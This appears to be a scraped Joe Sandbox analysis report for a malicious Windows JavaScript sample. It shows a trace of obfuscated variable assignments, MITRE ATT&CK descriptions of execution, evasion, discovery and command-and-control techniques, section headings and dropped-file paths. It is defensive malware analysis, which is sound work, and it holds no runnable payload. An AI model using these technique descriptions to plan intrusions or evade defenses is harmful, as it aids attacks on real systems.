1621	zxiih = "g";
1622	zxiih = "A";
1623	zxiih = "V";
1624	zxiih = "b";
1625	zxiih = "K";
1626	zxiih = "t";
1627	hocowht ( );	hocowht() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1136121895118314851.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d3ae4ad6-dfb6-406f-b8dd-f9d9dfadfef2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7880

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1136121895118314851.js